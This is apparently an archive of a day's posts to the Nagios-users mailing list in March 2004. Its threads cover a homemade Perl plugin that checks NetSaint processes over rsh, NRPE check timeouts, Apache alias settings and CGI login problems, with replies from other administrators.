"/usr/local/nagios/libexec"; use utils qw($TIMEOUT %ERRORS &print_revision &support); my $rshell = Net::Rsh->new(); my $host = $ARGV[0]; my $command = "/usr/local/netsaint/libexec/check_netsaint /usr/local/netsaint/var/status.log 5 '/usr/local/netsaint/bin/netsaint'"; my @rshresults = (); my $x = 0; my $i = ""; if (!defined($host)) { print "No host specified!\n"; exit $ERRORS{'UNKNOWN'}; } $SIG{ALRM} = sub { die "timeout" }; eval { alarm(60); # time out after 60 seconds per command. @rshresults = $rshell->rsh($host, "root", "netsaint", $command); #this is line 24 alarm(0); }; open (RSHLOG, ">>/usr/local/nagios/libexec/RSH.LOG.TEXT"); print RSHLOG "--------------------------\n"; print RSHLOG "HOST: " . $host . "\n"; print RSHLOG "COMMAND: " . $command . "\n"; print RSHLOG "ERRORS:\n"; foreach $i ($@) { print RSHLOG $i; } print RSHLOG "RSH RESULTS:\n"; print RSHLOG "$rshresults[0]\n"; print RSHLOG "--------------------------\n"; close RSHLOG; if ($@) { if ($@ =~ /timeout/) { print "check_netsaint.pl: " . $host . " timed out during rsh operation. $rshresults[0].\n"; exit $ERRORS{'UNKNOWN'}; } } else { if ($rshresults[0] =~ /Error/) { print "$rshresults[0]\n"; exit $ERRORS{'CRITICAL'}; } else { print "$rshresults[0]\n"; exit $ERRORS{'OK'}; } } print "should have never made it to here.\n"; exit $ERRORS{'UNKNOWN'}; -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Tuesday, March 02, 2004 10:26 AM To: Novick, Jeff; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Trouble with a simple plug-in I wrote ... On Tuesday, March 02, 2004 7:08 AM, Novick, Jeff shared with us: > Hi, > I wrote a plug-in, although not complete to plug-in specs, I believe > it should be working as it works from the command line. The problem > is that it always exits with an unknown status, which is in the last > two lines in the script, whenever it is executed from within nagios. > > I have build my first nagios (1.2) server but still have some legacy > netsaint boxes running and would like to check that the netsaint > process is still running. I also thought this would be a good test > for writing a plug-in. > > The debug file from the scripts contains the following when run from > the command line: -------------------------- > HOST: pingsaint1.tru.com > COMMAND: /usr/local/netsaint/libexec/check_netsaint > /usr/local/netsaint/var/status.log 5 > '/usr/local/netsaint/bin/netsaint' > ERRORS: > RSH RESULTS: > NetSaint ok: located 7 processes, status log updated 2 seconds ago > > -------------------------- > > and when executed from within NagIOS > > -------------------------- > HOST: pingsaint1.tru.com > COMMAND: /usr/local/netsaint/libexec/check_netsaint > /usr/local/netsaint/var/status.log 5 > '/usr/local/netsaint/bin/netsaint' > ERRORS: > at /usr/local/nagios/libexec/check_netsaint.pl line 24 RSH RESULTS: What's happening on or about line 24 of your script? Could it be that whatever is being done there can not be done as the nagios user? More importantly, does your script print a line to standard out and exit with the proper exit code for Nagios to determine the status? There is documentation on http://nagiosplug.sourceforge.net on how to properly exit and/or you could look at an existing plugin. -- Marc ======================================================================== This email message is for the sole use of the intended recipient (s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message. To reply to our email administrator directly, send an email to EmailAdmin at toysrus.com. Toys "R" Us, Inc. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jon.wagoner at wlion.com Tue Mar 2 16:48:27 2004 From: jon.wagoner at wlion.com (Jon Wagoner) Date: Tue, 2 Mar 2004 09:48:27 -0600 Subject: periodic episodes of socket timeout errors Message-ID: <002901c4006d$ce48f6a0$cb01a8c0@JWAGONER> I am running Nagios 1.1 on a Gentoo box. Periodically, I'll have episodes where all of the nrpe checks will fail with socket timeout errors. It generally lasts for a few minutes, and then goes away. Sometimes it happens when the box is under a heavy load (doing backups, etc.), but other times it doesn't seem to be related to anything. If I login and run things from the command line it works fine. Any idea what could be causing this, or how I could further troubleshoot? Jon ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Tue Mar 2 16:50:24 2004 From: shorn at lssi.net (Spencer L Horn) Date: Tue, 02 Mar 2004 10:50:24 -0500 Subject: best way to check host via a relay In-Reply-To: <4044A19E.8070202@sbtt.net> References: <4044A19E.8070202@sbtt.net> Message-ID: <1078242623.23968.68.camel@spencer.lssi.net> check the Redundant and failover monitoring section of the nagios documentation. Spencer On Tue, 2004-03-02 at 10:00, Steve wrote: > Whats the best way to run checks from a remote system to a host withour > setting up a entire nagios system. > > Already have nagios at site A running checking systems, now we have Site > B which also wants to monitor the same hosts, is there a way to setup a > remote checking 'agent' that will communicate the event sback to the > main nagio server running at site A. > > thanks > > -s > > > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Tue Mar 2 16:54:17 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Tue, 02 Mar 2004 09:54:17 -0600 Subject: Nagios 2.x in prod In-Reply-To: <9A7A0D17D695264AAE4E53DD69DF5B8F49B586@mail1.guidehome.com> References: <9A7A0D17D695264AAE4E53DD69DF5B8F49B586@mail1.guidehome.com> Message-ID: <1078242856.29546.120.camel@localhost> On Tue, 2004-03-02 at 06:57, Samba wrote: > Is anyone using Nagios 2.x in a production environment ? As I read the web > site I get the impression it's ready to be deployed, but without > documentation. Right ? We do. 274 hosts / 1320 services and it's working quite well (considerably better than 1.x-cvs) ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From alevitt at navis.com Tue Mar 2 17:12:15 2004 From: alevitt at navis.com (Aaron Levitt) Date: Tue, 2 Mar 2004 08:12:15 -0800 Subject: (no subject) Message-ID: <7473201406D1FE4CBAD4096D6BD1E92108C153@hqexch01.hq.navis.net> Greets everyone- I posted this once before, but never got a response. After further trouble-shooting and looking through the docs, I still don't seem to be any closer to a solution. Can someone lend a hand here? I have the latest version of nagios running with the latest version of nrpe. Everything works great with the exception of a couple services with the nrpe plugin on some hosts. Occasionally, I am getting time outs on specific services. For example usually about once a day, I am getting a "Service Check Timed Out" for checking disks on an redhat linux box. There doesn't seem to be any problem with the client or the server at the time except for the load possibly getting a bit higher than normal, it seems to be almost random and there is nothing of any value in any of the logs I looked through the docs for nrpe and nagios and was able to change the timeout time, which helped a little. But it still occasionally times out. Is there a way to set *no* time out? I'm open to any other suggestions. Thanks in advance! -=Aaron ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Tue Mar 2 17:15:28 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Tue, 2 Mar 2004 11:15:28 -0500 (EST) Subject: traliing slash in URL path configuration In-Reply-To: References: Message-ID: On Tue, 2 Mar 2004, Yao, Jack wrote: > 2. Then I changed httpd.conf from > > Alias /nagios/ /usr/local/nagios/share/ > > to be > > Alias /nagios /usr/local/nagios/share This is incorrect... the change people have been suggesting is Alias /nagios /usr/local/nagios/share/ -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Tue Mar 2 17:20:01 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Tue, 2 Mar 2004 11:20:01 -0500 (EST) Subject: Any idea..for this script problem. In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557EE9BFC@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557EE9BFC@blr-sjp-msg.wipro.com> Message-ID: On Tue, 2 Mar 2004 prabhu.anandh at wipro.com wrote: > Hi friends, > I need some help in perl script. > I have to get the output of the ping command to be stored in a file > using perl script. > I have got it correct if give the correct address.If I give the wrong > one,It still runs...can anyone tell how to end the ping process and get > the output stored in a file. These are not really nagios questions. I suggest you either pick up a book on perl, (The O'Reilly books are excellent -- www.ora.com) or pay a visit to comp.lang.perl.misc on USENET. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From yiannis.zimianitis at sssltd.co.uk Tue Mar 2 17:28:48 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Tue, 2 Mar 2004 16:28:48 -0000 Subject: Any idea..for this script problem. Message-ID: <8A542229726CD711A63600508BB3D3EC201C54@scntxms1.sss> Is this a nagios question? Can Nagios monitor the utilization of a link on a cisco router? Has anyone done this? I have looked at many docs but with no success. Thanks Yiannis -----Original Message----- From: Matt Pounsett [mailto:matt.pounsett at cira.ca] Sent: 02 March 2004 16:20 To: prabhu.anandh at wipro.com Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Any idea..for this script problem. On Tue, 2 Mar 2004 prabhu.anandh at wipro.com wrote: > Hi friends, > I need some help in perl script. > I have to get the output of the ping command to be stored in a file > using perl script. > I have got it correct if give the correct address.If I give the wrong > one,It still runs...can anyone tell how to end the ping process and get > the output stored in a file. These are not really nagios questions. I suggest you either pick up a book on perl, (The O'Reilly books are excellent -- www.ora.com) or pay a visit to comp.lang.perl.misc on USENET. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null -------------- next part -------------- An HTML attachment was scrubbed... URL: From matt.pounsett at cira.ca Tue Mar 2 17:30:23 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Tue, 2 Mar 2004 11:30:23 -0500 (EST) Subject: Authentication problem in cgi.cfg In-Reply-To: <6178f865c321c091c2078340a0c7245e@orms.info> References: <6178f865c321c091c2078340a0c7245e@orms.info> Message-ID: On Tue, 2 Mar 2004, markus auchmann wrote: > hi ! > > i've a weird problem ... > > in my cgi.cfg i have many users for nagios with different rights to do things, i entered the passwords in htpasswd and it works fine. But everytime i log on (no matter wich user) i am logged in as guest and only have guest rights !? > > do you have any idea what i did wrong ? > here is a clipping of my cgi.cfg: The most likely problem is that you did not include the .htaccess file in your CGI directory. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From networks at wi.rr.com Tue Mar 2 17:54:43 2004 From: networks at wi.rr.com (Networks) Date: 02 Mar 2004 10:54:43 -0600 Subject: Nagios 2.0 Documents In-Reply-To: References: Message-ID: <1078246484.11894.1.camel@elijah> I don't mean to push (since this is free), but any word on progress for 2.0 documentation? Thanks again. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Tue Mar 2 17:53:55 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Tue, 2 Mar 2004 11:53:55 -0500 Subject: permissions Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F295@exchange.drumbeatdigital.com> Hello For some reason, whenever I try to access nagios page I get this.. It appears as though you do not have permission to view process information... If you believe this is an error, check the HTTP server authentication requirements for accessing this CGI and check the authorization options in your CGI configuration file I checked all permitions on file, they seem to be fine.. What am I missing? ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From novickj at toysrus.com Tue Mar 2 17:57:45 2004 From: novickj at toysrus.com (Novick, Jeff) Date: Tue, 2 Mar 2004 11:57:45 -0500 Subject: Trouble with a simple plug-in I wrote ... Message-ID: <7CB57EABD6C23342AA8282DA820698990803BF79@msg01psp.tru.com> Hi, All, Ok, my fault. Net::RSH needs to be run as root. Changed the script to shell out and run rsh and all is well. Thanks! Jeff P.S. Script now looks like this: #!/usr/bin/perl -w use POSIX; use strict; use lib "/usr/local/nagios/libexec"; use utils qw($TIMEOUT %ERRORS &print_revision &support); my $host = $ARGV[0]; my $command = "rsh -l netsaint " . $host . " \"/usr/local/netsaint/libexec/check_netsaint /usr/local/netsaint/var/status.log 5 '/usr/local/netsaint/bin/netsaint'\""; my $rshresults = ""; my $x = 0; my $i = ""; if (!defined($host)) { print "No host specified!\n"; exit $ERRORS{'UNKNOWN'}; } $SIG{ALRM} = sub { die "timeout" }; eval { alarm(60); # time out after 60 seconds per command. $rshresults = `$command`; alarm(0); }; if ($@) { if ($@ =~ /timeout/) { print "check_netsaint_2.pl: " . $host . " timed out during rsh operation. $rshresults.\n"; exit $ERRORS{'UNKNOWN'}; } } else { if ($rshresults =~ /Error/) { print "$rshresults\n"; exit $ERRORS{'CRITICAL'}; } else { print "$rshresults\n"; exit $ERRORS{'OK'}; } } print "should have never made it to here.\n"; exit $ERRORS{'UNKNOWN'}; -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Tuesday, March 02, 2004 10:26 AM To: Novick, Jeff; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Trouble with a simple plug-in I wrote ... On Tuesday, March 02, 2004 7:08 AM, Novick, Jeff shared with us: > Hi, > I wrote a plug-in, although not complete to plug-in specs, I believe > it should be working as it works from the command line. The problem > is that it always exits with an unknown status, which is in the last > two lines in the script, whenever it is executed from within nagios. > > I have build my first nagios (1.2) server but still have some legacy > netsaint boxes running and would like to check that the netsaint > process is still running. I also thought this would be a good test > for writing a plug-in. > > The debug file from the scripts contains the following when run from > the command line: -------------------------- > HOST: pingsaint1.tru.com > COMMAND: /usr/local/netsaint/libexec/check_netsaint > /usr/local/netsaint/var/status.log 5 > '/usr/local/netsaint/bin/netsaint' > ERRORS: > RSH RESULTS: > NetSaint ok: located 7 processes, status log updated 2 seconds ago > > -------------------------- > > and when executed from within NagIOS > > -------------------------- > HOST: pingsaint1.tru.com > COMMAND: /usr/local/netsaint/libexec/check_netsaint > /usr/local/netsaint/var/status.log 5 > '/usr/local/netsaint/bin/netsaint' > ERRORS: > at /usr/local/nagios/libexec/check_netsaint.pl line 24 RSH RESULTS: What's happening on or about line 24 of your script? Could it be that whatever is being done there can not be done as the nagios user? More importantly, does your script print a line to standard out and exit with the proper exit code for Nagios to determine the status? There is documentation on http://nagiosplug.sourceforge.net on how to properly exit and/or you could look at an existing plugin. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ======================================================================== This email message is for the sole use of the intended recipient (s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message. To reply to our email administrator directly, send an email to EmailAdmin at toysrus.com. Toys "R" Us, Inc. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Tue Mar 2 18:02:09 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Tue, 2 Mar 2004 12:02:09 -0500 Subject: Loged in as ? Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F296@exchange.drumbeatdigital.com> Why does it says "Loged in as ?"? Even though that I did authenticate when I was login in to that page ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt at bravenet.com Tue Mar 2 18:09:10 2004 From: matt at bravenet.com (Matthew Kent) Date: Tue, 2 Mar 2004 09:09:10 -0800 Subject: (no subject) Message-ID: <0A9D1D7BB96F364D83A342871CF25FF9D167@bdc-pv1.pv.bravenet.com> Having initially experienced some strange problems like this, I would take a closer look at the load angle. Have you walked though the guide @ http://nagios.sourceforge.net/docs/1_0/tuning.html ? Maybe try using a small value in max_concurrent_checks and see if it helps..? - matt > Greets everyone- > > I posted this once before, but never got a response. After further > trouble-shooting and looking through the docs, I still don't seem to > be > any closer to a solution. Can someone lend a hand here? > > I have the latest version of nagios running with the latest version of > nrpe. Everything works great with the exception of a couple services > with the nrpe plugin on some hosts. Occasionally, I am getting time > outs on specific services. For example usually about once a day, I am > getting a "Service Check Timed Out" for checking disks on an redhat > linux box. There doesn't seem to be any problem with the client or > the > server at the time except for the load possibly getting a bit higher > than normal, it seems to be almost random and there is nothing of any > value in any of the logs > > I looked through the docs for nrpe and nagios and was able to change > the > timeout time, which helped a little. But it still occasionally times > out. Is there a way to set *no* time out? I'm open to any other > suggestions. > > Thanks in advance! > > -=Aaron > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id56&alloc_id438&op=ick > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Tue Mar 2 18:07:36 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Tue, 2 Mar 2004 12:07:36 -0500 Subject: Authentication problem in cgi.cfg Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F297@exchange.drumbeatdigital.com> Comment this line in your cgi.cfg default_user_name=guest -----Original Message----- From: Matt Pounsett [mailto:matt.pounsett at cira.ca] Sent: Tuesday, March 02, 2004 11:30 AM To: auchmann at e-ntrance.at Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Authentication problem in cgi.cfg On Tue, 2 Mar 2004, markus auchmann wrote: > hi ! > > i've a weird problem ... > > in my cgi.cfg i have many users for nagios with different rights to do > things, i entered the passwords in htpasswd and it works fine. But > everytime i log on (no matter wich user) i am logged in as guest and > only have guest rights !? > > do you have any idea what i did wrong ? > here is a clipping of my cgi.cfg: The most likely problem is that you did not include the .htaccess file in your CGI directory. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Tue Mar 2 18:08:29 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Tue, 2 Mar 2004 12:08:29 -0500 Subject: Authentication problem in cgi.cfg Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F298@exchange.drumbeatdigital.com> I get a feeling that nagios doesn't check users through htpasswd -----Original Message----- From: Matt Pounsett [mailto:matt.pounsett at cira.ca] Sent: Tuesday, March 02, 2004 11:30 AM To: auchmann at e-ntrance.at Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Authentication problem in cgi.cfg On Tue, 2 Mar 2004, markus auchmann wrote: > hi ! > > i've a weird problem ... > > in my cgi.cfg i have many users for nagios with different rights to do > things, i entered the passwords in htpasswd and it works fine. But > everytime i log on (no matter wich user) i am logged in as guest and > only have guest rights !? > > do you have any idea what i did wrong ? > here is a clipping of my cgi.cfg: The most likely problem is that you did not include the .htaccess file in your CGI directory. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Tue Mar 2 18:12:15 2004 From: marc at ena.com (Marc Powell) Date: Tue, 2 Mar 2004 11:12:15 -0600 Subject: permissions Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2D2@mismail2.ena.com> On Tuesday, March 02, 2004 10:54 AM, Dmitry Chorine shared with us: > Hello > > For some reason, whenever I try to access nagios page I get this.. > > > > > It appears as though you do not have permission to view process > information... > > > If you believe this is an error, check the HTTP server authentication > requirements for accessing this CGI and check the authorization > options in your CGI configuration file > > > > I checked all permitions on file, they seem to be fine.. What am I > missing? It probably doesn't have anything to do with the actual file permissions (assuming they're readable by the web server). http://nagios.sourceforge.net/docs/1_0/cgiauth.html -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From shorn at lssi.net Tue Mar 2 18:10:25 2004 From: shorn at lssi.net (Spencer L Horn) Date: Tue, 02 Mar 2004 12:10:25 -0500 Subject: (no subject) In-Reply-To: <7473201406D1FE4CBAD4096D6BD1E92108C153@hqexch01.hq.navis.net> References: <7473201406D1FE4CBAD4096D6BD1E92108C153@hqexch01.hq.navis.net> Message-ID: <1078247425.23968.81.camel@spencer.lssi.net> Tune the 3 following fields to fit your needs. normal_check_interval 15 (check every 15 minutes) retry_check_interval 15 (if down enters soft down state and re checks in 15 mins) max_check_attempts 2 (must fail twice before entering a hard state) Make sense? or did i totally mis-understand your question? Spencer On Tue, 2004-03-02 at 11:12, Aaron Levitt wrote: > Greets everyone- > > I posted this once before, but never got a response. After further > trouble-shooting and looking through the docs, I still don't seem to be > any closer to a solution. Can someone lend a hand here? > > I have the latest version of nagios running with the latest version of > nrpe. Everything works great with the exception of a couple services > with the nrpe plugin on some hosts. Occasionally, I am getting time > outs on specific services. For example usually about once a day, I am > getting a "Service Check Timed Out" for checking disks on an redhat > linux box. There doesn't seem to be any problem with the client or the > server at the time except for the load possibly getting a bit higher > than normal, it seems to be almost random and there is nothing of any > value in any of the logs > > I looked through the docs for nrpe and nagios and was able to change the > timeout time, which helped a little. But it still occasionally times > out. Is there a way to set *no* time out? I'm open to any other > suggestions. > > Thanks in advance! > > -=Aaron > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id56&alloc_id438&opk > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users 